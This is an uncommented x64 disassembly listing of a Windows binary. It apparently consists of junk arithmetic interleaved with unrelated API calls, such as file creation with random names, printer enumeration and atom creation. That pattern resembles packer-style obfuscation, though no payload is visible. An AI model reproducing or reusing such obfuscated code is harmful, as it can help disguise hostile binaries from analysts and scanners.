mov qword [rsp + 0xd2f0], rax
mov rax, qword [rsp + 0x10440]
mov rcx, qword [rsp + 0x10218]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xd518], rax
mov rax, qword [rsp + 0x105a8]
movzx eax, word [rax]
mov word [rsp + 0x293c], ax
mov edx, 0x5f4162
mov rcx, qword [rsp + 0x103f8]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0x80f4], eax
mov rax, qword [rsp + 0x10208]
mov ecx, dword [rsp + 0x80b8]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x8090], eax
mov eax, dword [rsp + 0x80e4]
mov ecx, dword [rsp + 0x787c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x70c8], eax
movsx eax, byte [0x140211038]
mov rcx, qword [rsp + 0x10410]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x573], al
mov rax, qword [rsp + 0x104b0]
mov rcx, qword [rsp + 0x10500]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x10408], rax
movzx eax, byte [rsp + 0x183]
mov byte [rsp + 0x57b], al
mov rax, qword [rsp + 0x101f0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x10220]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x1402113c4], ax
mov rax, qword [rsp + 0x103d0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2908]
sub eax, ecx
mov word [rsp + 0x2920], ax
mov rcx, qword [rsp + 0x103c8]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
movzx eax, byte [rsp + 0x578]
mov byte [rsp + 0x57c], al
mov rax, qword [rsp + 0x10400]
mov rcx, qword [rsp + 0x102d8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x103a8]
mov rdx, qword [rsp + 0x104b0]
sub rdx, rcx
mov rcx, rdx
cmp rax, rcx
jne 0x140020a3a
movsx eax, word [rsp + 0x2910]
movsx ecx, word [rsp + 0x1fe8]
xor eax, ecx
mov word [rsp + 0x2908], ax
mov eax, dword [rsp + 0x7fcc]
movzx ecx, al
mov eax, dword [rsp + 0x8050]
shl eax, cl
mov rcx, qword [rsp + 0x10210]
mov dword [rcx], eax
mov eax, dword [rsp + 0x80dc]
movzx ecx, al
mov eax, dword [rsp + 0x7f8c]
shr eax, cl
mov dword [rsp + 0x7f4c], eax
mov rax, qword [rsp + 0x10400]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x10468]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x10408], rax
mov eax, dword [rsp + 0x7fa8]
mov dword [rsp + 0x20], eax
mov r9d, dword [rsp + 0x80e4]
mov r8d, dword [rsp + 0x7fcc]
mov rax, qword [rsp + 0x104e8]
mov edx, dword [rax]
mov rax, qword [rsp + 0x104e8]
mov ecx, dword [rax]
call fcn.1401f4cc0
lea rcx, [rsp + 0x80b0]
call qword [sym.imp.SHELL32.dll_ILGetNext]
mov qword [rsp + 0x105b8], rax
movzx eax, word [rsp + 0x2708]
mov rcx, qword [rsp + 0x10220]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x28d8], ax
movsx eax, word [rsp + 0x28dc]
mov rcx, qword [rsp + 0x10540]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x2910], ax
movzx eax, byte [rsp + 0x57a]
movzx ecx, byte [rsp + 0x108]
add eax, ecx
mov byte [0x14021103a], al
mov rax, qword [rsp + 0x10358]
mov rcx, qword [rsp + 0x10560]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x105a0], rax
mov rax, qword [rsp + 0x10440]
mov rcx, qword [rsp + 0x10348]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x10598], rax
jmp 0x140020aee
mov rax, qword [rsp + 0x10560]
mov rcx, qword [rsp + 0x101e0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x105a0], rax
mov rax, qword [rsp + 0x105a8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1eac]
sub eax, ecx
mov word [rsp + 0x293c], ax
lea rax, [rsp + 0x572]
mov qword [rsp + 0x105c0], rax
lea rdx, [rsp + 0x26678]
mov rcx, qword [rsp + 0x10318]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x7fbc], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 1
mov edx, 0x80000000
lea rcx, str.m36mojaEyTivI9ymC7P9Pd6I
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x105c8], rax
lea rax, [rsp + 0x104b0]
mov qword [rsp + 0x105d0], rax
mov rax, qword [rsp + 0x10208]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x80dc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6a90], eax
mov rax, qword [rsp + 0x104e8]
mov ecx, dword [rsp + 0x787c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x7530], eax
mov rax, qword [rsp + 0x105d0]
mov rcx, qword [rsp + 0x10538]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x10558]
mov rdx, qword [rsp + 0x10468]
or rdx, rcx
mov rcx, rdx
cmp rax, rcx
ja 0x140020bcc
lea rax, [rsp + 0x10550]
mov qword [rsp + 0x40], rax
mov dword [rsp + 0x38], 0x21
lea rax, [rsp + 0x103b0]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x577]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x10388]
mov qword [rsp + 0x20], rax
mov r9d, PathYetAnotherMakeUniqueName
mov r8, qword [rsp + 0x105d8]
mov edx, 0xe6
mov rcx, qword [rsp + 0x10360]
call sub.WINSPOOL.DRV_EnumPrinterDataW
mov dword [rsp + 0x809c], eax
mov edx, dword [rsp + 0x8090]
movzx ecx, word [rsp + 0x2914]
call fcn.1401f4e00
mov rax, qword [rsp + 0x10388]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x102f8]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [0x14021103c], al
mov rax, qword [rsp + 0x10540]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x10258]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x1b14], ax
movzx eax, word [0x1402113c0]
mov word [rsp + 0x2940], ax
mov rax, qword [rsp + 0x101f0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1eac]
xor eax, ecx
mov word [rsp + 0x14c4], ax
mov rax, qword [rsp + 0x102f8]
movzx eax, byte [rax]
mov rcx, qword [0x140221d98]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x579], al
mov rax, qword [rsp + 0x102d8]
mov rax, qword [rax]
mov qword [rsp + 0x105e0], rax
mov rax, qword [rsp + 0x101d0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7fa8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x8040], eax
lea rcx, str.492U9XTBuOZx.Ercs4
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2944], ax
mov rax, qword [rsp + 0x102f8]
movzx eax, byte [rax]
mov rcx, qword [0x140221d98]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x10388]
movzx ecx, byte [rcx]
mov rdx, qword [rsp + 0x101d8]
movzx edx, byte [rdx]
and ecx, edx
cmp eax, ecx
jne 0x1401f33ca
mov rax, qword [rsp + 0x102f8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x19c]
add eax, ecx
mov byte [rsp + 0xb5], al
mov rax, qword [rsp + 0x103b0]
mov rcx, qword [rsp + 0x101d0]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x104e8]
mov rdx, qword [rsp + 0x10210]
mov edx, dword [rdx]
mov ecx, dword [rcx]
xor ecx, edx
cmp eax, ecx
jg 0x140020dc3
mov rax, qword [rsp + 0x10410]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x56b]
and eax, ecx
mov byte [rsp + 0x56c], al
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetHandleInformation]
mov rax, qword [rsp + 0x10218]
mov rcx, qword [rsp + 0xd2f0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x10310], rax
mov eax, dword [rsp + 0x7d50]
mov dword [rsp + 0x80f8], eax
mov rax, qword [rsp + 0x10208]
mov ecx, dword [rsp + 0x6a90]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x8090], eax
lea rax, [rsp + 0x105e0]
mov qword [rsp + 0x105e8], rax
mov rax, qword [rsp + 0x103d0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x28dc]
sub eax, ecx
mov rcx, qword [rsp + 0x10540]
mov word [rcx], ax
jmp 0x140020ed8
movzx eax, word [rsp + 0x290c]
movzx ecx, word [rsp + 0x292c]
add eax, ecx
mov word [0x140221d82], ax
mov rax, qword [rsp + 0x102f8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x57c]
and eax, ecx
mov byte [rsp + 0x577], al
mov rax, qword [rsp + 0xd518]
mov rcx, qword [rsp + 0x105a0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xcdb8], rax
mov rax, qword [rsp + 0x10440]
mov rcx, qword [rsp + 0x10520]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x10218], rax
mov rax, qword [rsp + 0x103d0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2928]
add eax, ecx
mov word [rsp + 0x1d1c], ax
lea rax, [rsp + 0x102c0]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x2908]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], SHSetInstanceExplorer
lea r9, [rsp + 0x10220]
mov r8d, 0x7c
mov rdx, qword [rsp + 0x104d0]
mov ecx, 0x25
call sub.WINSPOOL.DRV_EnumPrintersW
mov dword [rsp + 0x80fc], eax
mov rax, qword [rsp + 0x10208]
mov ecx, dword [rsp + 0x7fb8]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x10208]
mov dword [rcx], eax
mov r8d, dword [0x140211398]
mov edx, dword [rsp + 0x80a4]
mov rax, qword [rsp + 0x105a8]
movzx ecx, word [rax]
call fcn.1401f4f90
mov rax, qword [rsp + 0x101d8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x102f8]
movzx ecx, byte [rcx]
xor eax, ecx
movzx ecx, byte [rsp + 0x574]
movzx edx, byte [0x14021103c]
or ecx, edx
cmp eax, ecx
jne 0x140020fa0
mov rax, qword [rsp + 0x105e8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x10500]
shr rax, cl
mov qword [rsp + 0x101c8], rax
movzx ecx, word [rsp + 0x28ec]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x28e8], ax
mov rax, qword [rsp + 0x104e8]
mov eax, dword [rax]
mov dword [rsp + 0x8100], eax
movzx eax, byte [rsp + 0x570]
mov rcx, qword [rsp + 0x10388]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x577], al
movzx ecx, word [rsp + 0x2924]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2948], ax
lea rdx, [rsp + 0x26640]
mov rcx, qword [rsp + 0x10318]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x80f4], eax
movzx eax, word [rsp + 0x28f0]
movzx ecx, word [rsp + 0x2708]
and eax, ecx
mov word [0x14021139c], ax
mov rax, qword [rsp + 0x10440]
mov rcx, qword [rsp + 0x10560]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xd2f8], rax
mov rax, qword [rsp + 0x10410]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x573]
add eax, ecx
mov byte [rsp + 0x572], al
lea rax, [rsp + 0x2ff]
mov qword [rsp + 0x105f0], rax
mov rcx, qword [rsp + 0x101f8]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x10540]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x28f8]
add eax, ecx
mov word [rsp + 0x1d1c], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x104e8]
mov ecx, dword [rsp + 0x8078]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x8040], eax
mov rax, qword [rsp + 0x10208]
mov eax, dword [rax]
mov dword [rsp + 0x8104], eax
mov rax, qword [rsp + 0x105e8]
mov rcx, qword [rsp + 0x10400]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x101c8], rax
mov rax, qword [rsp + 0x10220]
movzx eax, word [rax]
mov word [rsp + 0x294c], ax
mov rax, qword [rsp + 0x101d8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x19c]
and eax, ecx
mov byte [0x140221da0], al
movzx eax, word [rsp + 0x1f28]
mov rcx, qword [rsp + 0x10220]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x105a8]
mov word [rcx], ax
movsx eax, word [rsp + 0x2908]
mov rcx, qword [rsp + 0x103d0]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x10540]
mov word [rcx], ax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x10308], rax
mov rax, qword [rsp + 0x10440]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd2f8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xc9c8], rax
mov rax, qword [rsp + 0x101e0]
mov rcx, qword [rsp + 0x10460]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xd2f0], rax
mov rax, qword [rsp + 0x10408]
mov qword [rsp + 0x105f8], rax
mov rcx, qword [rsp + 0x10338]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0x103b0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x8050]
shl eax, cl
mov rcx, qword [rsp + 0x101d0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x10208]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x7f8c]
shr eax, cl
mov dword [rsp + 0x806c], eax
mov rax, qword [rsp + 0x10208]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6a90]
xor ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x7fb8]
mov edx, dword [rsp + 0x7f54]
and edx, ecx
mov ecx, edx
cmp eax, ecx
jae 0x1401f3304
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rax, [rsp + 0x10218]
mov qword [rsp + 0x10600], rax
mov rax, qword [rsp + 0x10568]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x10438]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x105c0]
movsx ecx, byte [rcx]
movsx edx, byte [rsp + 0x56c]
add ecx, edx
cmp eax, ecx
jge 0x1401f320a
mov rax, qword [rsp + 0x10208]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7fb8]
sub ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x6a90]
mov edx, dword [rsp + 0x7f54]
and edx, ecx
mov ecx, edx
cmp eax, ecx
jb 0x1400212ea
mov rax, qword [rsp + 0x10440]
mov rcx, qword [rsp + 0x10560]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x10218], rax
mov rax, qword [rsp + 0x101f0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x10220]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x293c], ax
mov rax, qword [rsp + 0x10540]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x103d0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2940], ax
mov rax, qword [rsp + 0x10400]
mov rax, qword [rax]
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x105f0]
movzx r9d, byte [rax]
mov rax, qword [rsp + 0x10438]
movzx r8d, byte [rax]
mov rax, qword [rsp + 0x105e8]
mov rdx, qword [rax]
mov ecx, dword [rsp + 0x809c]
call fcn.1401f4f00
mov rax, qword [rsp + 0x105f0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x18b]
add eax, ecx
mov byte [rsp + 0x574], al
mov rcx, qword [rsp + 0x10470]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x10208]
mov eax, dword [rax]
mov dword [rsp + 0x8108], eax
mov rax, qword [rsp + 0x101d0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x80f8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x80ec], eax
mov rax, qword [rsp + 0x102d8]
mov rcx, qword [rsp + 0xda48]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x105f8], rax
lea rax, [rsp + 0x573]
mov qword [rsp + 0x10608], rax
movsx eax, word [rsp + 0x2910]
mov rcx, qword [0x140221d78]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2920], ax
mov rax, qword [rsp + 0x101d8]
movzx eax, byte [rax]
mov byte [0x140221d77], al
movzx eax, word [rsp + 0x2914]
mov word [rsp + 0x2950], ax
lea rdx, [rsp + 0x10280]
mov rcx, qword [rsp + 0x102d0]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x810c], eax
mov rax, qword [rsp + 0x10520]
mov rcx, qword [rsp + 0x10600]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xef38], rax
mov rax, qword [rsp + 0x105d0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x105f8]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x105e8]
mov rcx, qword [rcx]
mov rdx, qword [rsp + 0x10228]
xor rdx, rcx
mov rcx, rdx
cmp rax, rcx
je 0x1401f3049
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindFirstFileExW]
lea rcx, [0x140212b98]
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2954], ax
mov rax, qword [rsp + 0x10258]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x103d0]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1150], ax
mov rax, qword [rsp + 0x101d0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7530]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x8078], eax
mov rax, qword [rsp + 0x102d8]
mov rcx, qword [rsp + 0x105e8]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x10500], rax
movzx eax, byte [rsp + 0x573]
mov byte [rsp + 0x57d], al
mov eax, dword [rsp + 0x8104]
mov ecx, dword [rsp + 0x806c]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x80a4], eax
lea rax, [rsp + 0x14c4]
mov qword [rsp + 0x10610], rax
movzx eax, byte [rsp + 0x2ff]
mov rcx, qword [rsp + 0x101d8]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [0x14021103d], al
mov rax, qword [rsp + 0x105a8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x10220]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x28fc], ax
movsx eax, word [rsp + 0x1fe8]
mov rcx, qword [rsp + 0x103d0]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x2900], ax
mov r9d, 1
xor r8d, r8d
mov edx, 0x67e1
mov rcx, qword [rsp + 0x10230]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x7fdc], eax
movzx eax, byte [rsp + 0xc0]
mov byte [rsp + 0x57e], al
mov rax, qword [rsp + 0x101d0]
mov rcx, qword [rsp + 0x10210]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x7fa8], eax
mov eax, dword [rsp + 0x8108]
mov ecx, dword [rsp + 0x7f8c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x75bc], eax
mov rax, qword [rsp + 0x10400]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x10558]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x10538], rax
mov rax, qword [rsp + 0x101f0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x10610]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2950], ax
mov rax, qword [rsp + 0x10540]
movzx eax, word [rax]
mov word [rsp + 0x2958], ax
mov rax, qword [rsp + 0x10220]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2930]
add eax, ecx
movzx ecx, word [rsp + 0x1eac]
movzx edx, word [rsp + 0x2694]
add ecx, edx
cmp eax, ecx
jl 0x1400216f7
mov rax, qword [rsp + 0x10388]
movzx eax, byte [rax]
mov rcx, qword [0x140221d98]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x14021103b], al
mov rax, qword [rsp + 0x10520]
mov rcx, qword [rsp + 0x10358]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xcdb8], rax
mov rax, qword [rsp + 0x105a0]
mov qword [rsp + 0x10618], rax
mov rax, qword [rsp + 0x10358]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x10348]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xd518], rax
mov edx, 0x1e9
mov rcx, qword [rsp + 0x10338]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x805c], eax
mov rax, qword [rsp + 0x103d0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2910]
shl eax, cl
mov word [rsp + 0x1848], ax
mov rax, qword [rsp + 0x10438]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x10608]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x56c], al
mov rax, qword [rsp + 0x10400]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x105d0]
mov qword [rsp + 0x10620], rcx
movzx ecx, al
mov rax, qword [rsp + 0x10620]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x10500], rax
mov eax, dword [rsp + 0x806c]
mov dword [rsp + 0x8110], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x10628], rax
mov rax, qword [rsp + 0x103b0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7f70]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x10210]
mov dword [rcx], eax
mov rax, qword [rsp + 0x10388]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x102f8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x14021103e], al
movzx eax, word [rsp + 0x28fc]
mov word [rsp + 0x295c], ax
mov rax, qword [rsp + 0x103d0]
movsx eax, word [rax]
mov rcx, qword [0x140221d78]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2900], ax
movzx eax, word [rsp + 0x295c]
movzx ecx, word [rsp + 0x28d8]
sub eax, ecx
mov word [rsp + 0x2930], ax
mov ecx, 4
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0x810c], eax
lea rax, [rsp + 0x570]
mov qword [rsp + 0x10630], rax
mov rax, qword [rsp + 0x103b0]
mov ecx, dword [rsp + 0x8050]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x8078], eax
mov eax, dword [rsp + 0x806c]
mov ecx, dword [rsp + 0x809c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x7860], eax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x102b0], rax
mov rcx, qword [rsp + 0x103f8]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0x8098], eax
mov rax, qword [rsp + 0x10468]
imul rax, qword [rsp + 0xda48]
mov qword [rsp + 0x10558], rax
mov rax, qword [rsp + 0x10440]
mov rcx, qword [rsp + 0xd518]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x102a0], rax
mov rax, qword [rsp + 0x10220]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x101f0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x140211390], ax
lea rax, [rsp + 0x56d]
mov qword [rsp + 0x10638], rax
mov rax, qword [rsp + 0x10258]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2904]
add eax, ecx
mov word [rsp + 0x2900], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], reloc.SHELL32.dll_ILFindLastID
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 2
mov edx, 0xc0000000
lea rcx, str.szeQ9Ikt4bHzYJyFv0CIrrVt30_aLW
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x10640], rax
movzx eax, byte [rsp + 0x56e]
mov byte [rsp + 0x57f], al
mov rax, qword [rsp + 0x10520]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd638]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x10218], rax
mov rax, qword [rsp + 0x102d8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x105d0]
mov qword [rsp + 0x10648], rcx
movzx ecx, al
mov rax, qword [rsp + 0x10648]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x103a8], rax
mov eax, dword [rsp + 0x80d4]
mov dword [rsp + 0x8114], eax
mov rax, qword [rsp + 0x10208]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x8090]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x8108], eax
movzx eax, word [rsp + 0x2910]
mov word [rsp + 0x2960], ax
mov rax, qword [rsp + 0x10220]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x10610]
movzx ecx, word [rcx]
xor eax, ecx
mov word [0x140221d82], ax
mov rax, qword [rsp + 0x10560]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xc9c8]
sar rax, cl
mov rcx, qword [rsp + 0x10520]
mov rdx, qword [rsp + 0x10600]
mov rdx, qword [rdx]
mov rcx, qword [rcx]
and rcx, rdx
cmp rax, rcx
jl 0x140021af8
mov rax, qword [rsp + 0x101d8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x105f0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x578], al
mov rax, qword [rsp + 0x10358]
mov rcx, qword [rsp + 0x10560]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xe258], rax
mov rax, qword [rsp + 0xd2f8]
mov rcx, qword [rsp + 0x10460]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xd2f0], rax
mov rax, qword [rsp + 0x10258]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2938]
and eax, ecx
mov word [rsp + 0x28e4], ax
mov rax, qword [rsp + 0x10208]
mov eax, dword [rax]
mov dword [rsp + 0x8118], eax
mov rcx, qword [rsp + 0x10628]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x80e8], eax
mov rax, qword [rsp + 0x104e8]
mov rcx, qword [rsp + 0x101d0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x80e4], eax
mov rax, qword [rsp + 0x10408]
mov qword [rsp + 0x10650], rax
mov rax, qword [rsp + 0x10630]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x10638]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x571], al
jmp 0x140021c20
movzx eax, word [rsp + 0x2694]
movzx ecx, word [rsp + 0x293c]
add eax, ecx
mov word [0x1402113c4], ax
mov rax, qword [rsp + 0x10560]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x10520]
mov qword [rsp + 0x10658], rcx
movzx ecx, al
mov rax, qword [rsp + 0x10658]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0xcdb8], rax
movsx eax, byte [rsp + 0x56e]
mov rcx, qword [rsp + 0x10608]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x105c0]
mov byte [rcx], al
movsx eax, word [rsp + 0x1d1c]
mov rcx, qword [0x140221d78]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x2958], ax
lea rax, [rsp + 0x102e8]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x10608]
mov qword [rsp + 0x20], rax
mov r9d, 0x6c
lea r8, [rsp + 0x70c8]
mov edx, 0xe0
mov rcx, qword [rsp + 0x10660]
call sub.WINSPOOL.DRV_EnumFormsW
mov dword [rsp + 0x808c], eax
movzx r9d, word [rsp + 0x2958]
movzx r8d, word [rsp + 0x2940]
mov rax, qword [rsp + 0x10258]
movzx edx, word [rax]
movzx ecx, word [rsp + 0x1848]
call fcn.1401f4d00
movzx eax, byte [rsp + 0x57a]
movzx ecx, byte [rsp + 0x183]
shl eax, cl
mov byte [rsp + 0x18b], al
mov rax, qword [rsp + 0x103b0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x80d4]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x8114], eax
mov dword [rsp + 0x28], 0
